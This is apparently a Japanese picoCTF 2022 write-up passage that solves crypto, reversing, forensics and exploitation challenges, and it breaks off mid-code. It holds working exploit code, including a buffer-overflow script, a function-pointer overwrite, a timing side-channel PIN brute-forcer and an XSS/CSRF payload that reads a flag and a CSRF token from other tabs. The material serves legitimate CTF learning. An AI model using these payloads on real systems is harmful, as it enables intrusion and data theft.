ヒントにDon't look at me... Go ask Mr. Pollard if you need a hint!とあることから、このタイプのRSAを解くアルゴリズムがあると推測。

調べるとPollard p-1 Algorithm( https://www.geeksforgeeks.org/pollard-p-1-algorithm/ )というものが見つかる。これを実装しているPythonライブラリとして primefac があるそうなので、pip3 install primefacでインストール。次のコードで因数分解して復号。

from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes
from primefac import pollard_pm1

n = 0x65446ab139efe9744c78a271ad04d94ce541a299f9d4dcb658f66f49414fb913d8ac6c90dacc1ad43135454c3c5ac76c56d71d2816dac23db5c8caa773ae2397bd5909a1f2823c230f44ac684c437f16e4ca75d50b75d2f7e5549c034aa8a723c9eaa904572a8c5c6c1ed7093a0695522a5c41575c4dbf1158ca940c02b223f50ae86e6782819278d989200a2cd2be4b7b303dffd07209752ee5a3060c6d910a108444c7a769d003bf8976617b4459fdc15a2a73fc661564267f55be6a0d0d2ec4c06a4951df5a096b079d9e300f7ad72fa6c73a630f9a38e472563434c10225bde7d08c651bdd23fd471077d44c6aab4e01323ed78641983b29633ad104f3fd
c = 0x19a98df2bfd703a31fedff8a02d43bc11f1fb3c15cfa7a55b6a32b3532e1ac477f6accc448f9b7d2b4deaae887450217bb70298afaa0f5e31a77e7c6f8ba1986979f15d299230119e3dd7e42eb9ca4d58d084d18b328fbe08c8909a2afc67866d6550e4e6fa27dc13d05c51cc87259fe73e2a1890cc2825d76c8b2a99f72f6023fc96658ac355487a6c275717ca6c13551094818efae1cec3c8773cc5a72fed518c00a53ba9799d9d5c182795dfcece07c727183fdd86fd2cb4b95e9f231be1858320aa7f8430885eb3d24300552d1a83158636316e55e6ac0a30a608964dbf2c412aed6a15df5fd49e737f7c06c02360d0c292abc33a3735152db2fb5bc5f6d

e = 0x10001

p = pollard_pm1(n,1,2)
q = n//p

d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))

picoCTF{376ebfe7}

wine (Binary Exploitation / windows / 300point)

Challenge best paired with wine.

I love windows. Checkout my exe running on a linux box. You can view source here. And connect with it using nc saturn.picoctf.net 49914

windows用の実行ファイルとソースコードが配布される。Windows!?となったが、ncで接続するとデバッグ出力をしてくれるので大した問題ではない。適当に長い文字列を入れてリターンアドレスの上書き位置を調べる。

リターンアドレスの上書き位置

入力文字列に対して0x67666564に飛ぼうとして停止したので、ここから文字数は140文字とわかった。[140文字]+[アドレス]でリターンアドレスを書き換えられるので、vuln.exeをGhidraに読ませてwin関数のアドレスを調べる。

Ghidraによる逆アセンブル

次のPythonコードを作成。

from pwn import *

addr = 0x401530

padding = b'a'*140
io = remote('saturn.picoctf.net',49914)
io.recvuntil("Give me a string!")
payload = padding + addr.to_bytes(4, "little")
print(payload)
io.sendline(payload)
io.interactive()

実行するとwin関数に飛んでflagが手に入る。

solve

picoCTF{Un_v3rr3_d3_v1n_25f25e91}

function overwrite (Binary Exploitation / Array_bounds / Finction_pointers / 400point)

Story telling class 2/2

You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 64632

Linux用実行ファイルとソースコードが配布される。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

ソースを読むと、まずvlun関数を呼び、char型128文字のstoryを入力、続いて、int型の配列funの任意の位置に任意のデータを加算、checkを呼ぶ。checkはhard_checker関数に飛んでおり、ここではstoryの128個のデータを足して13371337であればflagを表示する。しかしchar型は-127~127までしか入らないので、128個足しても13371337にはなってくれない。

そこでint型の配列の任意の位置に値を代入できるfun[num1] += num2;の部分に注目する。int型の配列は10個分用意されているが、範囲外の数字を指定すれば任意のメモリ位置を変更できる。これを用いてcheckの値をeasy_checker関数のアドレスに書き換えることにする。easy_checker関数ではstoryの合計が1337であればいいので、簡単に作ることができる。

vlun実行ファイルをGhidraに食わせてアドレスを確認した。

check変数は0x804c040に入っており、hard_checker関数のアドレス0x8049436が入っている。これをeasy_checker関数のアドレス0x80492fcに書き換えるには-314を足せばよい。fun配列の位置は0x804c080なので、-0x40byte分、つまりint型で16個遡ればいい。

ASCII値を足して1337になる128文字未満のchar型データは例えばddddddddddddd%がある。よって入力すべき値は、ddddddddddddd%、-16、-314となる。

nc接続でこれらを入力してflag入手。

solve

picoCTF{0v3rwrit1ng_P01nt3rs_529bfb38}

Keygenme (Reverse Engineering / binary / keygen / 400point)

Can you get the flag?

Reverse engineer this binary.

Linux用実行ファイルのみが配布される。Ghidraで逆コンパイルすると、FUN_00101209に中核となる処理が見つかる。

undefined8 FUN_00101209(char *param_1)

{
  size_t n;
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_d0;
  int local_cc;
  int local_c8;
  int local_c4;
  int local_c0;
  undefined2 local_ba;
  byte local_b8 [16];
  byte local_a8 [16];
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined4 local_80;
  char local_78 [13];
  undefined local_6b;
  undefined local_6a;
  undefined local_66;
  undefined local_60;
  undefined local_5e;
  undefined local_5b;
  char local_58 [32];
  char acStack56 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_98 = 0x7b4654436f636970;
  local_90 = 0x30795f676e317262;
  local_88 = 0x6b5f6e77305f7275;
  local_80 = 0x5f7933;
  local_ba = 0x7d;
  n = strlen((char *)&local_98);
  MD5((uchar *)&local_98,n,local_b8);
  n = strlen((char *)&local_ba);
  MD5((uchar *)&local_ba,n,local_a8);
  local_d0 = 0;
  local_cc = 0;
  while (local_cc < 0x10) {
    sprintf(local_78 + local_d0,"%02x",(ulong)local_b8[local_cc]);
    local_cc = local_cc + 1;
    local_d0 = local_d0 + 2;
  }
  local_d0 = 0;
  local_c8 = 0;
  while (local_c8 < 0x10) {
    sprintf(local_58 + local_d0,"%02x",(ulong)local_a8[local_c8]);
    local_c8 = local_c8 + 1;
    local_d0 = local_d0 + 2;
  }
  local_c4 = 0;
  while (local_c4 < 0x1b) {
    acStack56[local_c4] = *(char *)((long)&local_98 + (long)local_c4);
    local_c4 = local_c4 + 1;
  }
  acStack56[27] = local_6b;
  acStack56[28] = local_66;
  acStack56[29] = local_5b;
  acStack56[30] = local_78[1];
  acStack56[31] = local_6a;
  acStack56[32] = local_60;
  acStack56[33] = local_5e;
  acStack56[34] = local_5b;
  acStack56[35] = (undefined)local_ba;
  n = strlen(param_1);
  if (n == 0x24) {
    local_c0 = 0;
    while (local_c0 < 0x24) {
      if (param_1[local_c0] != acStack56[local_c0]) {
        uVar1 = 0;
        goto LAB_00101475;
      }
      local_c0 = local_c0 + 1;
    }
    uVar1 = 1;
  }
  else {
    uVar1 = 0;
  }
LAB_00101475:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1;
}

バイトデータを見ていくと次の部分にpicoCTFっぽいデータが見える。

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_98 = 0x7b4654436f636970;
  local_90 = 0x30795f676e317262;
  local_88 = 0x6b5f6e77305f7275;
  local_80 = 0x5f7933;
  local_ba = 0x7d;

これを復号してみる。

flagenc = [0x7b4654436f636970,0x30795f676e317262,0x6b5f6e77305f7275,0x5f7933,0x7d]

flagdec = ""

for m in flagenc:flagdec += (m.to_bytes(8, "little")).decode()
print(flagdec)

実行するとpicoCTF{br1ng_y0ur_0wn_k3y_}が得られるが、不完全だ。

gdb-pedaで実行ファイルを起動してこの関数を進めていくと、次の箇所でflagっぽい文字列がRAXに出現していることがわかった。

  acStack56[27] = local_6b;
  acStack56[28] = local_66;
  acStack56[29] = local_5b;
  acStack56[30] = local_78[1];
  acStack56[31] = local_6a;
  acStack56[32] = local_60;
  acStack56[33] = local_5e;
  acStack56[34] = local_5b;
  acStack56[35] = (undefined)local_ba;

出力されていた文字は19836cd8}。これが欠けた部分であったようで、次のflagで正解した。

picoCTF{br1ng_y0ur_0wn_k3y_19836cd8}

Operation Orchid (Forensics / disk / 400point)

Download this disk image and find the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

Download compressed disk image

Linuxのディスクイメージが配布される。FTK imagerで開いて目ぼしいファイルを探してみる。rootディレクトリ直下にflag.txt.encを見つけた。中身を見る。

flag.txt.encの中身

Slat__から始まっているのでopensslコマンドで作られたもののようだ。ディスク全体からopensslで検索をかけてみると、コマンド履歴がヒットした。

touch flag.txt
nano flag.txt 
apk get nano
apk --help
apk add nano
nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt

パスワードも残っているので次のコマンドで復号。

openssl aes256 -d -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567

picoCTF{h4un71ng_p457_0a710765}

Sequences (Cryptography / 400point)

I wrote this linear recurrence function, can you figure out how to make it run fast enough and get the flag?

Download the code here sequences.py

Note that even an efficient solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your approach.

flagを計算するPythonソースコードが配布されるが、計算量が大きすぎて動作しないので最適化する必要がある。

import math
import hashlib
import sys
from tqdm import tqdm
import functools

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")

# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)


# Decrypt the flag
def decrypt_flag(sol):
    sol = sol % (10**10000)
    sol = str(sol)
    sol_md5 = hashlib.md5(sol.encode()).hexdigest()

    if sol_md5 != VERIF_KEY:
        print("Incorrect solution")
        sys.exit(1)

    key = hashlib.sha256(sol.encode()).digest()
    flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

    print(flag)

if __name__ == "__main__":
    sol = m_func(ITERS)
    decrypt_flag(sol)

m_func関数では5項間の線形漸化式を計算しているが、求める項が20000000というとてつもない大きさであるため、そのままでは計算不能である。漸化式の解を数学的に計算してコストを圧縮するしかない。

漸化式は次の行列表現にすることができる。

\(\begin{pmatrix} a_{n+4}\\ a_{n+3}\\ a_{n+2}\\ a_{n+1}\\\end{pmatrix}=\begin{pmatrix} 21& 301& -9549& 55692 \\ 1& 0& 0& 0\\ 0& 1& 0& 0\\ 0& 0& 1& 0\\\end{pmatrix} \begin{pmatrix} a_{n+3}\\ a_{n+2}\\ a_{n+1}\\ a_{n}\\\end{pmatrix} ,\begin{pmatrix} a_{3}\\ a_{2}\\ a_{1}\\ a_{0}\\\end{pmatrix} =\begin{pmatrix} 4\\ 3\\ 2\\ 1\\\end{pmatrix}\)

各行列とベクトルを次のように定義しておく。

\(x_{n}=\begin{pmatrix} a_{n+4}\\ a_{n+3}\\ a_{n+2}\\ a_{n+1}\\\end{pmatrix},A=\begin{pmatrix} 21& 301& -9549& 55692 \\ 1& 0& 0& 0\\ 0& 1& 0& 0\\ 0& 0& 1& 0\\\end{pmatrix},x_{0}=\begin{pmatrix} 4\\ 3\\ 2\\ 1\\\end{pmatrix}\)

するとn番目は行列のn乗を使って書ける。

\(x_{n}={A}^{n}x_{0}\)

このまま行列のn乗を計算することは困難だが、行列Sを導入して対角化された行列Jを作ることができる。

\(J={S}^{-1}AS\)

Aのn乗を次のように計算することができる。

\({J}^{n}=({S}^{-1}AS)^{n}=({S}^{-1}AS)({S}^{-1}AS)({S}^{-1}AS)...({S}^{-1}AS)={S}^{-1}{A}^{n}S\)
\(S{J}^{n}{S}^{-1}=S{S}^{-1}{A}^{n}S{S}^{-1}={A}^{n}\)

試しにこの計算をPythonのmpmathを使って計算しようとしたが、目標とする数は2644万4384桁もあり、計算不能だった。失敗ソースは以下の通り。

import math
import hashlib
import sys
import numpy as np
import mpmath

mpmath.mp.dps = 10000

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")

# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
def m_func(i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)

def dig_func(n):
        A = mpmath.matrix([[21,301,-9549,55692],[1,0,0,0],[0,1,0,0],[0,0,1,0]])
        eig,P = mpmath.mp.eig(A)
        Pinv = P**-1
        Bn = mpmath.matrix([[pow(eig[0].real,n),0,0,0],[0,pow(eig[1].real,n),0,0],[0,0,pow(eig[2].real,n),0],[0,0,0,pow(eig[3].real,n)]])
        An = P *  Bn * Pinv
        A0 = mpmath.matrix([4,3,2,1])
        return ((An * A0)[3]).real


# Decrypt the flag
def decrypt_flag(sol):
    sol = int(sol % (10**10000))
    sol = str(sol)
    sol_md5 = hashlib.md5(sol.encode()).hexdigest()

    if sol_md5 != VERIF_KEY:
        print("Incorrect solution")
        sys.exit(1)

    key = hashlib.sha256(sol.encode()).digest()
    flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

    print(flag)

#if __name__ == "__main__":
#    sol = dig_func(ITERS)
#    decrypt_flag(sol)


print(dig_func(ITERS))

こうなったら漸化式の解を直接書き下して、int型で計算せざるを得ない。Aの対角化に必要な行列はWolframAlphaを使って簡単に計算できる。mpmathなどを使うと分数ではなく小数が出てくるのでint型で計算を完結させられない。

https://ja.wolframalpha.com/input?i=%E8%A1%8C%E5%88%97%E5%AF%BE%E8%A7%92%E5%8C%96%E8%A8%88%E7%AE%97%E6%A9%9F&assumption=%7B%22F%22%2C+%22MatrixOperations%22%2C+%22theMatrix%22%7D+-%3E%22%7B%7B21%2C+301%2C+-9549%2C+55692%7D%2C+%7B1%2C+0%2C+0%2C+0%7D%2C+%7B0%2C+1%2C+0%2C+0%7D%2C+%7B0%2C+0%2C+1%2C+0%7D%7D%22

WolframAlphaによる行列計算結果

これらの行列を使うと求めたい解は以下のようになる。

\(\begin{pmatrix} \\ \\ \\ a_{n}\\\end{pmatrix}=\begin{pmatrix} -9261& 1728& 2197& 4913\\ 441& 144& 169& 289\\ -21& 12& 13& 17\\ 1& 1& 1& 1\\\end{pmatrix}\begin{pmatrix} -21^{n}& 0& 0& 0\\ 0& 12^{n}& 0& 0\\ 0& 0& 13^{n}& 0\\ 0& 0& 0& 17^{n}\\\end{pmatrix}\begin{pmatrix} -\frac{1}{42636}& \frac{7}{7106}& -\frac{581}{42636}& \frac{13}{209}\\ \frac{1}{165}& -\frac{3}{55}& -\frac{409}{165}& \frac{1547}{55}\\ -\frac{1}{136}& \frac{1}{17}& \frac{405}{136}& -\frac{63}{2}\\ \frac{1}{760}& -\frac{1}{190}& -\frac{369}{760}& \frac{819}{190}\\\end{pmatrix} \begin{pmatrix} 4\\ 3\\ 2\\ 1\\\end{pmatrix}\)

計算するベクトルは一番下のみでよい。これを計算するdig_funcEX関数を書いた。VERIF_KEYの計算に下1万桁を使うため、除算の前に10**50を乗算して小数点以下50桁分の精度を確保している。

import math
import hashlib
import sys

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")

# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
def m_func(i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)

def dig_funcEX(n):
        
        accuracy = 10**50
        J = [pow(21,n),pow(12,n),pow(13,n),pow(17,n)]
        ANS = 0
        S_inv_upper = [[1,7,581,13],[1,3,409,1547],[1,1,405,63],[1,1,369,819]]
        S_inv_downer = [[42636,7106,42636,209],[165,55,165,55],[136,17,136,2],[760,190,760,190]]
        S_inv_pm = [[-1,1,-1,1],[1,-1,-1,1],[-1,1,1,-1],[1,-1,-1,1]]
        A0 = [4,3,2,1]
        for i in range(4):
                ANSt = 0
                for j in range(4):
                        ANSt += S_inv_pm[j][i]*(accuracy*J[j]*S_inv_upper[j][i]//S_inv_downer[j][i])
                ANSt *= A0[i]
                ANS += ANSt
        return ANS//accuracy

# Decrypt the flag
def decrypt_flag(sol):
    sol = int(sol % (10**10000))
    sol = str(sol)
    sol_md5 = hashlib.md5(sol.encode()).hexdigest()

    if sol_md5 != VERIF_KEY:
        print("Incorrect solution")
        sys.exit(1)

    key = hashlib.sha256(sol.encode()).digest()
    flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

    print(flag)

if __name__ == "__main__":
    sol = dig_funcEX(ITERS)
    decrypt_flag(sol)

これを実行すると何十秒かで計算が完了してflagが得られる。計算時間の大部分は対角行列のn乗の計算に費やされている。

picoCTF{b1g_numb3rs_afc4ce7f}

SideChannel (Forensics / 400point)

There's something fishy about this PIN-code checker, can you figure out the PIN and get the flag?

Download the PIN checker program here pin_checker

Once you've figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 55824 and provide it the PIN to get your flag.

Linux用実行ファイルpin_checkerが配布され、ここから正しいPINを取得して nc saturn.picoctf.net 55824 に取得したPINを入力すればflagを入手できるようだ。

ヒントにtiming-based side-channel attacks.とあり、これはプログラムの処理時間が誤った値か正しい値かによって異なることを利用するものだ。例えば、8桁の数字を左から順にチェックしていく場合、1桁目をパスしたときだけ2桁目のチェックに進むため、計算時間が長くなる。これを利用してPINをチェックする処理の時間差を見て1文字ずつブルートフォースできそうだ。

実際に試してみるとpin_checkerは1桁あたり0.1sec程の時間を消費するようで、左からブルートフォースが可能。左から1桁ずつ入力して最も処理時間の長いものを選択して全桁を明らかにするPythonコードを書いた。

from pwn import *
import time

pin = ""

for i in range(8):
        tlist = []
        for j in range(10):
                io = process('pin_checker')
                io.recvuntil("Please enter your 8-digit PIN code:")
                payload = (pin+str(j)+"0"*(7-i)).encode()
                start = time.time()
                io.sendline(payload)
                io.recvline()
                io.recvline()
                io.recvline()
                msg = io.recvline()
                tlist.append(time.time() - start)
                io.close()
                if i==7:print(msg)
        _max = max(tlist)
        _min = min(tlist)
        pin += str(tlist.index(_max))
        print(str(tlist.index(_max))+":"+str(_max))
        print(str(tlist.index(_min))+":"+str(_min))

print(pin)

実行させるとPINは48390513であることがわかる。サーバーに接続してPINを入力するとflag取得。

solve

picoCTF{t1m1ng_4tt4ck_9803bd25}

Sum-O-Primes (Cryptography / rsa / 400point)

We have so much faith in RSA we give you not just the product of the primes, but their sum as well!

gen.py

output.txt

RSA問題。公開鍵n、暗号文cに加えて、秘密鍵pとqを足したxを教えてくれる。

復号鍵d = inverse(e, (p-1)*(q-1))で計算することを知っていれば、p+qがあればdを作成できることは自明。(p-1)*(q-1) = p*q -(p+q) +1なので、d = inverse(e, n-x+1)と書ける。

from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes

x = 0x17fef88f46a58da13be8083b814caf6cd8d494dd6c21ad7bf399e521e14466d51a74f51ad5499731018b6a437576e72bd397c4bb07bfbb699c1a35f1f4fa1b86dee2a1702670e9cea45aa7062f9569279d6d4b964f3df2ff8e38cf029faad57e42b831bde21132303e127cba4e80cd3c9ff6a7bad5b399a18252dc35460471ea8
n = 0x85393637a04ec36e699796ac16979c51ecea41cfd8353c2a241193d1d40d02701b34e9cd4deaf2b13b6717757f178ff75249f3d675448ec928aef41c39e4be1c8ba2ba79c4ada36c607763d7dc8543103acfe1027245acda2208f22fcabe0f37bdadf077e4f943c4f4178cedeb5279a4ebc86323356e23a58b6666ac6ffbf4f1c8229117ffb9071a94dfb724957f10d6664e4ee02e16bed29eb922f126e2082e2f73b5c5b7817e0543155eb9673f4de3de8c91707c1261e8ba6e7348d930293f7796679218c2b1dabe41527eccd72ec3e7284344622eff81ae0541769fb70b6146b54bd092c2dfbe7f8e9653cad80d0fb4f3ef288778927b3852f9ff3a4076d7
c = 0x42cafbc77ed8396a681dac328701ee02cd746488ae084f15a3e6a5b8f666c595a372a69bbca0dae934fd5ed2292d4393912ee10a22a3b57de9cee2f30b5dc7c67f574b0453f6074171cca37bd407529cb30ba17f152ef5b2484d94b38cf0a513a723255d725e5c3b3f3c985f9223095be3fa148afedf91e4ed37720c3d97dd29cf07830efa8a557a9da68d3095fc3b31f3763e030b62c70d94c3d2951e163e48683f3b9611d562ea06bf1e5d8465e8bf5a6345050a5e7b0c175faf136562cf2a196fdb61ac6503446616cffa9ed85015b86dda73f6eda4d688d3e719a07439d98f95fb5dcf675948ec58d9af83fa29afa4375213ec48f09a6c8cbc431cfe7c6a

e = 65537

#(p-1)*(q-1) = p*q -(p+q) +1
d = inverse(e, n-x+1)
m = pow(c, d, n)
print(long_to_bytes(m))

picoCTF{3921def5}

noted (Web Exploitation / 500point) 2022/04/03

I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?

Note that the headless browser used for the "report" feature does not have access to the internet.

Create an account at this website.

Source code: noted.tar.gz

コンペ中に解けなかった問題。

Writeup( https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted )を見つけたので読んでみると、Chromeにはdata:text/htmlでURLから任意のHTMLを記述できる機能があった。ただし、このWriteupでは実はpuppeteer botはインターネットにアクセスできた(!?)ということから外部のURLに対してflagを漏らす方法を用いており、ここではこのwriteupを参考にしてローカルで完結するようにしたい。

作戦は次のとおりとなる。

  1. 作成したアカウントにJavaScriptを含む投稿を仕掛ける(スクリプトは暴発しないように特定のクエリ、ここでは?goがあるときだけに動作するようにする)
  2. data:text/htmlのデータURLスキームを使って、HTMLとJavaScriptをpuppeteer botに開かせる
  3. data:text/htmlから/notesを新しいタブで開く(flagが書かれている)
  4. data:text/htmlから作成したアカウントに新しいタブでログインさせる
  5. data:text/htmlから/newを新しいタブで開く(csrfトークンを取得する)
  6. data:text/htmlからクエリをつけた/notes?goを新しいタブで開く
  7. /notes?goからスクリプト起動、flagが書かれている/notesタブとcsrfトークンが含まれる/newタブを参照してそれぞれを獲得して、/newに入手したflagとcsrfトークンをPOSTする
  8. 作成したアカウントにflagが投稿される

他のタブのHTMLを参照するためには同一ドメインである必要があるため、data:text/htmlからはflagやcsrfトークンを盗むことができない。そのため、作成したアカウントに投稿したスクリプトを利用している。

自分の作成したアカウントに追加する投稿は次のものになる。これは?goクエリをつけて表示されると、csrfタブからフォーム内の_csrfの値を、flagタブからbodyテキスト全体を取得してフォームに記述し、新規投稿として/newにPOSTする。

<form action="/new" method=POST id=mynote><input type="input" name="_csrf" value=""><input type="text" name="title" value="a"><input type="text" name="content" value="a"></form>
<script>
if(window.location.search.includes("go")){
setTimeout(`document.getElementById("mynote")._csrf.value=window.open('', 'csrf').document.forms[0]._csrf.value`, 3000);
setTimeout(`document.getElementById("mynote").content.value=window.open('', 'flag').document.body.textContent`, 3000);
setTimeout(`mynote.submit()`, 4000);
}
</script>

reportに送信するURLは次のものになる。dataURLスキームを使って、フォームとJavaScriptを記述し、まず予めログイン済みの/notesをflagタブで開いてflagを表示状態にして、続いて作成したアカウントにログインさせ、/newでcsrfトークンを表示させ、/note?goで作成したアカウントに投稿した上記のスクリプトを動作させる。

data:text/html,
<form action="http://0.0.0.0:8080/login" method=POST id=login target=_blank>
<input type="text" name="username" value="test">
<input type="text" name="password" value="pass">
</form>
<script>
window.open('http://0.0.0.0:8080/notes', 'flag');
setTimeout(`login.submit()`, 1000);
setTimeout(`window.open('http://0.0.0.0:8080/new', 'csrf')`,1500);
setTimeout(`window.open('http://0.0.0.0:8080/notes?go')`,2000);
</script>

これで外部インターネットに接続することなくflagを取得できる。

solve

picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}

※このflagはpicoGym移行後のもの

NSA Backdoor (Cryptography / backdoor / diffie_hellman / rsa / 500point)

I heard someone has been sneakily installing backdoors in open-source implementations of Diffie-Hellman... I wonder who it could be... ;)

gen.py

output.txt

Diffie-Hellmanの出力が与えられる。pow(3,FLAG,n)の計算結果が与えられ、nの生成方法はVery Smoothと一緒になっている。

ヒントにLook for Mr. Wong's whitepaper... His work has helped so many cats!とあるので、論文を調べるとHow to Backdoor Diffie-Hellman ( https://eprint.iacr.org/2016/644.pdf )が引っかかる。

これはDiffie-Hellmanに使用する素数pについて、p-1が小さな因数をたくさん持つ時にメッセージを復号化できるPohlig-Hellmanアルゴリズムを使うものである。素数の生成方法はVery Smoothと同様なため、まずnをPollard p-1アルゴリズムでpとqに分解し、Pohlig-Hellmanアルゴリズムでメッセージを解読する。

Pohlig-Hellmanの実装を探すと、離散対数問題に対する攻撃手法 (Python & SageMath) | 晴耕雨読( https://tex2e.github.io/blog/crypto/DLP )にSageMathの実装例があったので、こちらを使わせていただくことにする。Pohlig-Hellmanについて日本語でまとめられているのでわかりやすい。

第一段階としてPollard p-1アルゴリズムを使用してpとqを求める。

from primefac import pollard_pm1

n = 0xd63c7cb032ae4d3a43ecec4999cfa8f8b49aa9c14374e60f3beeb437233e44f988a73101f9b20ffb56454350b1c9032c136142220ded059876ccfde992551db46c27f122cacdd38c86acb844032f8600515aa6ccb7a1d1ac62d04b51b752476d2d6ee9f22d0f933bebdd833a71fd30510479fcc7ba0afb1d4b0a1622cdc2a48341010dffdcfc8d9af45959fb30b692dc2c9e181ac6bcd6a701326e3707fb19b7f9dfe1c522c68f9b0d229d384be1e1c58f72f8df60ca5172a341a7ee81428a064beedd6af7b89cc6079f2b6d3717f0d29330f0a70acca05bf67ab60c2e5cb0b86bfca2c9b8d50d79d24371432a1efb243f3c5f15b377ccc51f6e69bfbf5ecc61

p = pollard_pm1(n,1,2)
q = n//p
print(p)
print(q)

実行するとnが因数分解できる。

p=165904771154636133744258537155010957898841320976199637310247946276091086685264203988382040434355973963755682908150999129715814054881305005279715109357952947956732031939179558028421896612221813299929875548130332311862653487519381871784418328675201518221252865046296276946334529508065441554563296058286139050519
q=163014145749020966527362866473385169718851721616099580892964038460874458300229566597051127131837727765676578472743831728487190199884657664763105462749319055787715119759660870245251139666933894434217213010123667901776317139730147215838019956603683024166830240694839515087101545941555671169130305164821949513799

得られたp,qをp1,p2と置いて、上記サイトのSageMathの実装を2素数に改造したものを作成した。

from Crypto.Util.number import long_to_bytes

# Baby-step Giant-step
def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    #Baby step
    table = {}
    gr = 1  # g^r
    for r in range(m):
        table[gr] = r
        gr = (gr * g) % p
    #Giant step
    try:
        gm = pow(g, -m, p)
    except:
        return None
    ygqm = y
    for q in range(m):
        if ygqm in table:
            return q * m + table[ygqm]
        ygqm = (ygqm * gm) % p
    return None

#Pohlig hellman
def pohlig_hellman_DLP(g, y, p1,p2):
    crt_moduli = []
    crt_remain = []
    for q, _ in factor(p1-1):
        x = babystep_giantstep(pow(g,(p1-1)//q,p1), pow(y,(p1-1)//q,p1), p1, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    for q, _ in factor(p2-1):
        x = babystep_giantstep(pow(g,(p2-1)//q,p2), pow(y,(p2-1)//q,p2), p2, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = 3
